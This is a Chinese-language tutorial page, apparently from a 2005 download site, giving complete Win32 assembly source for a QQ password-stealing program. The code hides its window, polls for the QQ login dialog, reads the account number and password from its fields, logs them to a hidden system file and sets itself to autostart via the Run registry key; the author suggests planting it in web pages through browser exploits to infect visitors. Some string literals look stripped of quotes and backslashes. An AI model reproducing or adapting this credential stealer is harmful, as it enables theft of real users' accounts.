设为首页
加入收藏
联系我们
电脑入门 | 操作系统 | 工具软件 | 病毒安全 | 平面设计 | 媒体动画 | 网页制作 | 网络编程 | 数 据 库 | 服 务 器 | 程序设计 
认证考试 | 网管大全 | 站长CLUB | 游戏娱乐 | 机械电子 | 学院热门 | 热门源码 | 软件新闻 | 驱动下载 
您当前的位置:藏经阁资源站 -> 病毒安全 -> 黑客攻防 -> 黑客编程 -> 教程内容 退出登录 用户管理
栏目导航
热门教程
· 劲舞团8K舞步 1.7最新舞步 魔神舞步
· [组图] 上网助手反间谍专家火热试用
· [组图] Win2000/XP/2003:系统万能Ghost全攻略
· [组图] Photoshop超酷海报效果
· [图文] 一分钟攻破ADSL 盗遍宽带密码1
· [组图] MATLAB 概 论
· AutoCAD二次开发语言及工具介绍
· [组图] Photoshop合成图:蛋壳-女孩
· [图文] 《仙剑奇侠传4》绝密情报 首度曝光
· [组图] 初学java常用开发工具介绍
· [图文] 将数码照片做成自动放映的Flash
· [图文] [常用]免费短信收发工具串串烧
· [图文] 《上古卷轴4》杂志扫描图抢先看
· 超全!Windows快捷键大全
· Pro/E 功能
· [组图] 用Pro/E画减速机渐开线斜齿圆柱齿轮的一般方法
· [组图] FLASH:《大话李白》创作全过程
· [组图] 使用Visual LISP创建简单的LISP应用程序
· 2004年计算机等级考试二级C语言试题及答案
· [图文] 信不信由你 KMPlayer隐藏着“雷电”
相关教程
· WinRAR制作Win 9x开机密码程序
· 暴力破解动网论坛密码程序
利用汇编语言开发盗QQ密码程序
作者:佚名  来源:不详  发布时间:2005-5-25 14:31:19  发布人:admin

减小字体 增大字体

这是一个我用了一天多编出来的运行在98环境下的,记录QQ密码的小程序,只有不到7KB,编程语言是win32汇编,我用的是MASM8.0编绎器

可以对付最新的QQ2003,QQ1230版....现在网上好多盗QQ的程序要么被杀要么没更新用不到了....只好自已写一个,由于这个东东是汇编写的只有几KB,所以你可以把它放在网页中利用IE的洞洞让看过网页的人就中招..当然你还得改改程序,因为它
不具有发邮件的功能

文件说明:
qqlog.txt c:windowssystem32目录下,密码就放这儿了
qqplus.exe 主程序,使用时放在system目录下,程序写注册表自启动
qqplus.asm 源文件
qq.rc 资源文件
findstr.vbs 我为了验证如何不让重复记录写的脚本用来验证算法
str.asm 验证在文件中找是否有已知字串的小模块
readme.txt 这也要说明:)

编绎参数:
D:masm32BIN>type b.bat
ml /c /coff msg.asm
link /subsystem:windows msg.obj qq.res

czy 于03.06.15

.386
.model flat,stdcall
option casemap:none

include ../include/windows.inc
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/Advapi32.inc
includelib ../lib/Advapi32.lib

_PROCVAR2 typedef proto :dword,:dword
PROCVAR2 typedef ptr _PROCVAR2


.data
szcaption db hello asm!,0
sztext db hehe ,0
szqqtitle db ,0
sztext1 db cant find ,0
tx db 40 dup(0),0
pass db 16 dup(0),0
qqno db 40 dup(0),0
log db c:windowssystem32qqlog.txt,0
szFormat db %s %s,0dh,0Ah,0
regpath db SoftwareMicrosoftWindowsCurrentVersionRun,0
keyname db QQplus,0
exename db QQplus.exe,0
hkey dd ?
allnum dd ?
@szBuffer db 60 dup(0),0
canwrite db 0
;---------------------------------是否有重复记录
find db 相同用户名密码已在文件中存在,0
logall db 1024 dup(0),0
@hFile1 dd ?

p dd 0 ;开始一次匹配值设为1,终止一次匹配又改为0
k dd 0 ;在logall中找到多少个相同的字符了
q dd 0 ;保存在一次匹配*作中logall中的第一个字符的位置?
j dd 0 ;记录在logall中找到多少个字串来了

base dd 0 ;记录logall的地址

lenstr dd 0 ;记录匹配的字串的长度
len dd 0 ;记录文件长度

@szBuffer1 db 10 dup(0),0
szFormat1 db %d%s,0


;---------------------------------

.const
szregister db RegisterServiceProcessA,0
kerdll db kernel32.dll,0

.data?
hInstance dd ?
hWinMain dd ?
RegisterServiceProcessA PROCVAR2 ?
hDllInstance dd ?


.code

_isin proc

invoke CreateFile,offset log,GENERIC_READ,FILE_SHARE_READ,
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
;OPEN_ALWAYS:存在则打开,不存在就创建
mov @hFile1,eax
invoke GetFileSize,@hFile1,NULL ;得到文件长度
invoke ReadFile,@hFile1,offset logall,eax,offset allnum,NULL
invoke CloseHandle,@hFile1


invoke lstrlen,addr logall ;得到字串总长
mov esi,offset len
mov [esi],eax ;并记录到len变量中

invoke lstrlen,offset @szBuffer ;得到要记当的用户名密码找度
mov esi,offset lenstr
mov [esi],eax

;invoke wsprintf,addr @szBuffer,offset szFormat,lenstr
;invoke MessageBox,NULL,offset logall,offset @szBuffer,1
;上面的*作从文件中读出所有内容,下面就是比较

mov esi,offset logall
mov edi,offset @szBuffer
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx

@@bg:

movzx eax,byte ptr [esi] ;logall
movzx ebx,byte ptr [edi] ;@szBuffer
mov ecx,len
.if j>ecx
jmp @@exit
.endif

.if eax==ebx
.if p==0 ;找到一个和hello的第一个字母相同的

inc p ;p设为1

mov edx,offset j
mov ecx,[edx]
mov q,ecx ;把j的值给Q

.endif

inc edi
inc esi
inc j
inc k

mov ecx,lenstr
.if k==ecx
pushad
;invoke wsprintf,addr @szBuffer1,offset szFormat1,k,offset logall
;invoke MessageBox,NULL,offset @szBuffer1,offset find,1
popad ;调用了函数eax值发生变化所以要还原寄存器
inc canwrite ;可写入标记设为1
jmp @@exit
.endif

.else
.if p==1
mov ecx,q
mov j,ecx
inc j

movzx eax,byte ptr [esi]
add esi,j

mov edi,offset @szBuffer
dec p ;p重设为0
mov k,0
.else
inc j
inc esi
.endif
.endif

jmp @@bg
@@exit:
ret
_isin endp


_SavePass proc ;用户名密码记录在全局变量中了
local @hFile:HFILE
local @lpOpenbuf:OFSTRUCT

invoke wsprintf,addr @szBuffer,offset szFormat,offset qqno,offset pass
;invoke MessageBox,NULL,offset @szBuffer,offset szcaption,1

mov qqno,NULL
mov pass,NULL

invoke _isin

.if canwrite==0

invoke CreateFile,offset log,GENERIC_WRITE,FILE_SHARE_READ,
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
;OPEN_ALWAYS:存在则打开,不存在就创建
mov @hFile,eax
invoke SetFilePointer,@hFile,0,NULL,FILE_END
invoke SetEndOfFile,@hFile ;文件指针放到文件尾
invoke lstrlen,addr @szBuffer
invoke _lwrite,@hFile,addr @szBuffer,eax
.else
dec canwrite ;还原标记
.endif

invoke CloseHandle,@hFile

;清空当前记录的密码防止重复记录

ret
_SavePass endp

_Findzi proc _hzi

invoke GetWindowLong,_hzi, GWL_STYLE

.if eax==50012080h ;记录QQ号码
invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0
inc eax
push eax
invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx
;invoke MessageBox,NULL,offset tx,offset szcaption,1


; mov esi, offset tx
; mov edi, offset qqno
;MYCOPYSTR0:
; mov al,byte ptr [esi]
; cmp al,0
; jz MYCOPYSTR1
; mov [edi],al
; inc esi
; inc edi
; jmp MYCOPYSTR0
;MYCOPYSTR1:
pop ecx

.if ecx>5 ;长度大于4,qqno!=tx

mov edi,offset qqno
mov esi,offset tx
xor edx,edx
.while edx<ecx
mov eax,[esi]
cmp [edi],eax
jnz @@qt
inc esi
inc edi
inc edx
.endw
jmp @@ps


@@qt:
xor edx,edx
mov edi,offset qqno
mov esi,offset tx

.while edx<ecx
mov eax,[esi]
mov [edi],eax
inc esi
inc edi
inc edx
.endw


;invoke MessageBox,NULL,offset qqno,offset szcaption,1
.endif
.endif


@@ps:


.if eax==500100A0h ;记录QQ密码
invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0
inc eax
push eax
invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx

pop ecx

.if ecx>6 ;长度大于5,qqno!=tx

mov edi,offset pass
mov esi,offset tx
xor edx,edx
.while edx<ecx
mov eax,[esi]
cmp [edi],eax
jnz @@qt1
inc esi
inc edi
inc edx
.endw
jmp @@ps1


@@qt1:
xor edx,edx
mov edi,offset pass
mov esi,offset tx

.while edx<ecx
mov eax,[esi]
mov [edi],eax
inc esi
inc edi
inc edx
.endw

;invoke MessageBox,NULL,offset pass,offset szcaption,1
.endif
.endif
@@ps1:


invoke GetWindow,_hzi, GW_HWNDNEXT ;例举下一个兄弟窗体


.If eax!=0 ;没有兄弟窗口了
invoke _Findzi,eax
.EndIf

invoke GetWindow,_hzi, GW_CHILD ;是否有子窗口

.If eax!=0 ;没有子窗口了
invoke _Findzi,eax
.EndIf

ret
_Findzi endp


_ProcTimer proc _hWnd,uMsg,_idEvent,_dwTime
pushad
invoke FindWindow,NULL,offset szqqtitle
.if eax
invoke GetWindow,eax, GW_CHILD
invoke _Findzi,eax
.else
;invoke MessageBox,NULL,offset szcaption,offset sztext1,1
;找不到登陆窗口并且用户名密码不为空就试图记录

invoke lstrlen,offset pass
.if eax>5
;invoke MessageBox,NULL,offset szcaption,offset sztext1,1
invoke _SavePass
.endif
.endif
popad
ret

_ProcTimer endp


_ProcDlgMain proc uses ebx edi esi,hWnd,uMsg,wParam,lParam
mov eax,uMsg
.if eax==WM_INITDIALOG
push hWnd
pop hWinMain
invoke SetWindowLong,hWnd,GWL_EXSTYLE,WS_EX_TOOLWINDOW ;显藏程序在任务栏的按钮
invoke SetWindowPos,hWinMain,HWND_BOTTOM,0,0,0,0,SWP_HIDEWINDOW ;窗口不可见
invoke SetTimer,hWinMain,1,500,addr _ProcTimer
.elseif eax == WM_CLOSE
invoke KillTimer,hWinMain,1
invoke EndDialog,hWinMain,NULL

.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_ProcDlgMain endp


start:
invoke GetModuleHandle,NULL
mov hInstance,eax

;pushad
;invoke LoadLibrary,offset kerdll
;.if eax ;加载KERNEL32.dll成功

; mov hDllInstance,eax
; invoke GetProcAddress,hDllInstance,offset szregister
;
; mov RegisterServiceProcessA,eax
; ;mov ebx,01
; invoke RegisterServiceProcessA,hInstance,01 ;在务任管理器中隐藏进程
;
; invoke FreeLibrary,offset kerdll
;.endif
;popad

invoke DialogBoxParam,hInstance,101,NULL,offset _ProcDlgMain,NULL


;开机自启动
invoke RegOpenKeyEx,80000002h,offset regpath,0,KEY_SET_VALUE,offset hkey
invoke RegSetValueEx,hkey,offset keyname,0,REG_SZ,offset exename,11
invoke RegCloseKey,hkey
;invoke ExitProcess,NULL
end start

[] [返回上一页] [打 印] [收 藏]
上一篇教程:一次依赖ipc的入侵
下一篇教程:步步入侵REDHAT LINUX7.0
∷相关教程评论∷    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
 
Copyright © 2000-2006 18839.Com. All Rights Reserved .
EMAIL:webmaster@18839.com 联系QQ:63191918 苏ICP备05065193号 带宽支持:三九互联